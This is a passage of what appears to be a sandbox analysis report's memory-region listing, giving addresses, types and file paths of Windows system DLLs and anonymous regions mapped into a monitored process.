0x7fffcb350000 end_va = 0x7fffcb424fff monitored = 0 entry_point = 0x7fffcb36d190 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1196 start_va = 0x7fffcb440000 end_va = 0x7fffcb4fcfff monitored = 0 entry_point = 0x7fffcb457070 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1197 start_va = 0x7fffcb560000 end_va = 0x7fffcb5fdfff monitored = 0 entry_point = 0x7fffcb567850 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1198 start_va = 0x7fffcb600000 end_va = 0x7fffcb6a9fff monitored = 0 entry_point = 0x7fffcb615470 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1199 start_va = 0x7fffcb790000 end_va = 0x7fffcb798fff monitored = 0 entry_point = 0x7fffcb792020 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1200 start_va = 0x7fffcb7a0000 end_va = 0x7fffcb93ffff monitored = 0 entry_point = 0x7fffcb7b7a10 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1201 start_va = 0x7fffcb940000 end_va = 0x7fffcb96ffff monitored = 0 entry_point = 0x7fffcb9414d0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1202 start_va = 0x7fffcb970000 end_va = 0x7fffcb9c4fff monitored = 0 entry_point = 0x7fffcb97a7e0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1203 start_va = 0x7fffcbae0000 end_va = 0x7fffcbb87fff monitored = 0 entry_point = 0x7fffcbafd990 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1204 start_va = 0x7fffcbb90000 end_va = 0x7fffcbee3fff monitored = 0 entry_point = 0x7fffcbc81d00 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 1205 start_va = 0x7fffcbef0000 end_va = 0x7fffcc018fff monitored = 0 entry_point = 0x7fffcbf16140 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1206 start_va = 0x7fffcc090000 end_va = 0x7fffcc7c0fff monitored = 0 entry_point = 0x7fffcc19e6e0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1207 start_va = 0x7fffcc830000 end_va = 0x7fffcc952fff monitored = 0 entry_point = 0x7fffcc88da30 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1208 start_va = 0x7fffcc960000 end_va = 0x7fffcc989fff monitored = 0 entry_point = 0x7fffcc9648d0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1209 start_va = 0x7fffcca30000 end_va = 0x7fffccc23fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1408 start_va = 0x1f0000 end_va = 0x1f2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 1410 start_va = 0xdd0000 end_va = 0xdd6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000dd0000" filename = "" Region: id = 1412 start_va = 0xde0000 end_va = 0xde5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000de0000" filename = "" Region: id = 1419 start_va = 0xdf0000 end_va = 0xdf1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000df0000" filename = "" Region: id = 1717 start_va = 0x7fffae020000 end_va = 0x7fffae037fff monitored = 0 entry_point = 0x7fffae025c50 region_type = mapped_file name = "win32_tpm.dll" filename = "\\Windows\\System32\\wbem\\Win32_Tpm.dll" (normalized: "c:\\windows\\system32\\wbem\\win32_tpm.dll") Region: id = 1718 start_va = 0x1150000 end_va = 0x11cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001150000" filename = "" Region: id = 1719 start_va = 0x7fffab950000 end_va = 0x7fffaba6cfff monitored = 0 entry_point = 0x7fffaba0aea0 region_type = mapped_file name = "tpmcoreprovisioning.dll" filename = "\\Windows\\System32\\TpmCoreProvisioning.dll" (normalized: "c:\\windows\\system32\\tpmcoreprovisioning.dll") Region: id = 1720 start_va = 0x7fffc9bf0000 end_va = 0x7fffc9c16fff monitored = 0 entry_point = 0x7fffc9bf6200 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 1721 start_va = 0x7fffbfed0000 end_va = 0x7fffbffd1fff monitored = 0 entry_point = 0x7fffbff157d0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1722 start_va = 0x7fffc9bb0000 end_va = 0x7fffc9beafff monitored = 0 entry_point = 0x7fffc9bb4000 region_type = mapped_file name = "ntasn1.dll" filename = "\\Windows\\System32\\ntasn1.dll" (normalized: "c:\\windows\\system32\\ntasn1.dll") Region: id = 1723 start_va = 0x7fffaec50000 end_va = 0x7fffaec6afff monitored = 0 entry_point = 0x7fffaec559c0 region_type = mapped_file name = "tbs.dll" filename = "\\Windows\\System32\\tbs.dll" (normalized: "c:\\windows\\system32\\tbs.dll") Region: id = 1724 start_va = 0x7fffcad60000 end_va = 0x7fffcad7cfff monitored = 0 entry_point = 0x7fffcad623b0 region_type = mapped_file name = "imagehlp.dll" filename = "\\Windows\\System32\\imagehlp.dll" (normalized: "c:\\windows\\system32\\imagehlp.dll") Region: id = 1726 start_va = 0xe00000 end_va = 0xe0cfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e00000" filename = "" Region: id = 2889 start_va = 0x7fffb6210000 end_va = 0x7fffb621bfff monitored = 0 entry_point = 0x7fffb6212850 region_type = mapped_file name = "win32_deviceguard.dll" filename = "\\Windows\\System32\\Win32_DeviceGuard.dll" (normalized: "c:\\windows\\system32\\win32_deviceguard.dll") Region: id = 2890 start_va = 0x7fffa8440000 end_va = 0x7fffa8479fff monitored = 0 entry_point = 0x7fffa845d3f0 region_type = mapped_file name = "wmitomi.dll" filename = "\\Windows\\System32\\wmitomi.dll" (normalized: "c:\\windows\\system32\\wmitomi.dll") Region: id = 2891 start_va = 0xdd0000 end_va = 0xe4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000dd0000" filename = "" Region: id = 2892 start_va = 0x7fffbdcd0000 end_va = 0x7fffbdcf2fff monitored = 0 entry_point = 0x7fffbdcd20b0 region_type = mapped_file name = "mi.dll" filename = "\\Windows\\System32\\mi.dll" (normalized: "c:\\windows\\system32\\mi.dll") Region: id = 2893 start_va = 0x7fffbdc70000 end_va = 0x7fffbdccffff monitored = 0 entry_point = 0x7fffbdc729d0 region_type = mapped_file name = "miutils.dll" filename = "\\Windows\\System32\\miutils.dll" (normalized: "c:\\windows\\system32\\miutils.dll") Region: id = 2894 start_va = 0x7fffb4d40000 end_va = 0x7fffb4d50fff monitored = 0 entry_point = 0x7fffb4d42aa0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 2895 start_va = 0x7fffcc020000 end_va = 0x7fffcc08afff monitored = 0 entry_point = 0x7fffcc034300 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 3774 start_va = 0x1150000 end_va = 0x11cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001150000" filename = "" Region: id = 3776 start_va = 0x1f0000 end_va = 0x1f2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 3781 start_va = 0x11d0000 end_va = 0x11d6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000011d0000" filename = "" Region: id = 3782 start_va = 0x11e0000 end_va = 0x11e5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000011e0000" filename = "" Region: id = 5572 start_va = 0x1f0000 end_va = 0x1f2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 5573 start_va = 0xdd0000 end_va = 0xddafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 5574 start_va = 0x1f0000 end_va = 0x1f2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 5575 start_va = 0xdd0000 end_va = 0xddafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 5581 start_va = 0x1f0000 end_va = 0x1f2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 5582 start_va = 0xdd0000 end_va = 0xdd6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000dd0000" filename = "" Region: id = 5583 start_va = 0xde0000 end_va = 0xde5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000de0000" filename = "" Region: id = 5589 start_va = 0xdf0000 end_va = 0xdf1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000df0000" filename = "" Region: id = 5689 start_va = 0xe00000 end_va = 0xe16fff monitored = 0 entry_point = 0xe11430 region_type = mapped_file name = "synth3dvsc.sys" filename = "\\Windows\\System32\\drivers\\Synth3dVsc.sys" (normalized: "c:\\windows\\system32\\drivers\\synth3dvsc.sys") Region: id = 5690 start_va = 0xe20000 end_va = 0xe22fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "synth3dvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\synth3dvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\synth3dvsc.sys.mui") Region: id = 5691 start_va = 0xe00000 end_va = 0xe16fff monitored = 0 entry_point = 0xe11430 region_type = mapped_file name = "synth3dvsc.sys" filename = "\\Windows\\System32\\drivers\\Synth3dVsc.sys" (normalized: "c:\\windows\\system32\\drivers\\synth3dvsc.sys") Region: id = 5692 start_va = 0xe20000 end_va = 0xe22fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "synth3dvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\synth3dvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\synth3dvsc.sys.mui") Region: id = 5693 start_va = 0xe00000 end_va = 0xe16fff monitored = 0 entry_point = 0xe11430 region_type = mapped_file name = "synth3dvsc.sys" filename = "\\Windows\\System32\\drivers\\Synth3dVsc.sys" (normalized: "c:\\windows\\system32\\drivers\\synth3dvsc.sys") Region: id = 5694 start_va = 0xe20000 end_va = 0xe22fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "synth3dvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\synth3dvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\synth3dvsc.sys.mui") Region: id = 5695 start_va = 0xe00000 end_va = 0xe16fff monitored = 0 entry_point = 0xe11430 region_type = mapped_file name = "synth3dvsc.sys" filename = "\\Windows\\System32\\drivers\\Synth3dVsc.sys" (normalized: "c:\\windows\\system32\\drivers\\synth3dvsc.sys") Region: id = 5696 start_va = 0xe20000 end_va = 0xe22fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "synth3dvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\synth3dvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\synth3dvsc.sys.mui") Region: id = 5697 start_va = 0xe00000 end_va = 0xe18fff monitored = 1 entry_point = 0xe01380 region_type = mapped_file name = "workflowservicehostperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WorkflowServiceHostPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\workflowservicehostperformancecounters.dll") Region: id = 5698 start_va = 0xe20000 end_va = 0xe25fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "workflowservicehostperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\WorkflowServiceHostPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\workflowservicehostperformancecounters.dll.mui") Region: id = 5699 start_va = 0xe00000 end_va = 0xe18fff monitored = 1 entry_point = 0xe01380 region_type = mapped_file name = "workflowservicehostperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WorkflowServiceHostPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\workflowservicehostperformancecounters.dll") Region: id = 5700 start_va = 0xe20000 end_va = 0xe25fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "workflowservicehostperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\WorkflowServiceHostPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\workflowservicehostperformancecounters.dll.mui") Region: id = 5701 start_va = 0xe00000 end_va = 0xe02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsm.dll.mui" filename = "\\Windows\\System32\\en-US\\lsm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\lsm.dll.mui") Region: id = 5702 start_va = 0x11d0000 end_va = 0x12a3fff monitored = 0 entry_point = 0x11faee0 region_type = mapped_file name = "lsm.dll" filename = "\\Windows\\System32\\lsm.dll" (normalized: "c:\\windows\\system32\\lsm.dll") Region: id = 5703 start_va = 0xe00000 end_va = 0xe02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsm.dll.mui" filename = "\\Windows\\System32\\en-US\\lsm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\lsm.dll.mui") Region: id = 5704 start_va = 0x11d0000 end_va = 0x12a3fff monitored = 0 entry_point = 0x11faee0 region_type = mapped_file name = "lsm.dll" filename = "\\Windows\\System32\\lsm.dll" (normalized: "c:\\windows\\system32\\lsm.dll") Region: id = 5705 start_va = 0xe00000 end_va = 0xe12fff monitored = 0 entry_point = 0xe026e0 region_type = mapped_file name = "hvhostsvc.dll" filename = "\\Windows\\System32\\hvhostsvc.dll" (normalized: "c:\\windows\\system32\\hvhostsvc.dll") Region: id = 5706 start_va = 0xe20000 end_va = 0xe35fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hvhostsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\hvhostsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\hvhostsvc.dll.mui") Region: id = 5707 start_va = 0xe00000 end_va = 0xe12fff monitored = 0 entry_point = 0xe026e0 region_type = mapped_file name = "hvhostsvc.dll" filename = "\\Windows\\System32\\hvhostsvc.dll" (normalized: "c:\\windows\\system32\\hvhostsvc.dll") Region: id = 5708 start_va = 0xe20000 end_va = 0xe35fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hvhostsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\hvhostsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\hvhostsvc.dll.mui") Region: id = 5709 start_va = 0xe00000 end_va = 0xe12fff monitored = 0 entry_point = 0xe026e0 region_type = mapped_file name = "hvhostsvc.dll" filename = "\\Windows\\System32\\hvhostsvc.dll" (normalized: "c:\\windows\\system32\\hvhostsvc.dll") Region: id = 5710 start_va = 0xe20000 end_va = 0xe35fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hvhostsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\hvhostsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\hvhostsvc.dll.mui") Region: id = 5711 start_va = 0xe00000 end_va = 0xe12fff monitored = 0 entry_point = 0xe026e0 region_type = mapped_file name = "hvhostsvc.dll" filename = "\\Windows\\System32\\hvhostsvc.dll" (normalized: "c:\\windows\\system32\\hvhostsvc.dll") Region: id = 5712 start_va = 0xe20000 end_va = 0xe35fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hvhostsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\hvhostsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\hvhostsvc.dll.mui") Region: id = 5713 start_va = 0xe00000 end_va = 0xe12fff monitored = 0 entry_point = 0xe026e0 region_type = mapped_file name = "hvhostsvc.dll" filename = "\\Windows\\System32\\hvhostsvc.dll" (normalized: "c:\\windows\\system32\\hvhostsvc.dll") Region: id = 5714 start_va = 0xe20000 end_va = 0xe35fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hvhostsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\hvhostsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\hvhostsvc.dll.mui") Region: id = 5715 start_va = 0xe00000 end_va = 0xe12fff monitored = 0 entry_point = 0xe026e0 region_type = mapped_file name = "hvhostsvc.dll" filename = "\\Windows\\System32\\hvhostsvc.dll" (normalized: "c:\\windows\\system32\\hvhostsvc.dll") Region: id = 5716 start_va = 0xe20000 end_va = 0xe35fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hvhostsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\hvhostsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\hvhostsvc.dll.mui") Region: id = 5717 start_va = 0xe00000 end_va = 0xe12fff monitored = 0 entry_point = 0xe026e0 region_type = mapped_file name = "hvhostsvc.dll" filename = "\\Windows\\System32\\hvhostsvc.dll" (normalized: "c:\\windows\\system32\\hvhostsvc.dll") Region: id = 5718 start_va = 0xe20000 end_va = 0xe35fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hvhostsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\hvhostsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\hvhostsvc.dll.mui") Region: id = 5719 start_va = 0xe00000 end_va = 0xe12fff monitored = 0 entry_point = 0xe026e0 region_type = mapped_file name = "hvhostsvc.dll" filename = "\\Windows\\System32\\hvhostsvc.dll" (normalized: "c:\\windows\\system32\\hvhostsvc.dll") Region: id = 5720 start_va = 0xe20000 end_va = 0xe35fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hvhostsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\hvhostsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\hvhostsvc.dll.mui") Region: id = 5721 start_va = 0xe00000 end_va = 0xe12fff monitored = 0 entry_point = 0xe026e0 region_type = mapped_file name = "hvhostsvc.dll" filename = "\\Windows\\System32\\hvhostsvc.dll" (normalized: "c:\\windows\\system32\\hvhostsvc.dll") Region: id = 5722 start_va = 0xe20000 end_va = 0xe35fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hvhostsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\hvhostsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\hvhostsvc.dll.mui") Region: id = 5723 start_va = 0xe00000 end_va = 0xe2afff monitored = 0 entry_point = 0xe1d010 region_type = mapped_file name = "pacer.sys" filename = "\\Windows\\System32\\drivers\\pacer.sys" (normalized: "c:\\windows\\system32\\drivers\\pacer.sys") Region: id = 5724 start_va = 0xe30000 end_va = 0xe34fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pacer.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\pacer.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\pacer.sys.mui") Region: id = 5725 start_va = 0xe00000 end_va = 0xe2afff monitored = 0 entry_point = 0xe1d010 region_type = mapped_file name = "pacer.sys" filename = "\\Windows\\System32\\drivers\\pacer.sys" (normalized: "c:\\windows\\system32\\drivers\\pacer.sys") Region: id = 5726 start_va = 0xe30000 end_va = 0xe34fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pacer.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\pacer.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\pacer.sys.mui") Region: id = 5727 start_va = 0xe00000 end_va = 0xe2afff monitored = 0 entry_point = 0xe1d010 region_type = mapped_file name = "pacer.sys" filename = "\\Windows\\System32\\drivers\\pacer.sys" (normalized: "c:\\windows\\system32\\drivers\\pacer.sys") Region: id = 5728 start_va = 0xe30000 end_va = 0xe34fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pacer.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\pacer.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\pacer.sys.mui") Region: id = 5729 start_va = 0xe00000 end_va = 0xe2afff monitored = 0 entry_point = 0xe1d010 region_type = mapped_file name = "pacer.sys" filename = "\\Windows\\System32\\drivers\\pacer.sys" (normalized: "c:\\windows\\system32\\drivers\\pacer.sys") Region: id = 5730 start_va = 0xe30000 end_va = 0xe34fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pacer.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\pacer.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\pacer.sys.mui") Region: id = 5731 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5732 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5733 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5734 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5735 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5736 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5737 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5738 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5739 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5740 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5741 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5742 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5743 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5744 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5745 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5746 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5747 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5748 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5749 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5750 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5751 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5752 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5753 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5754 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5755 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5756 start_va = 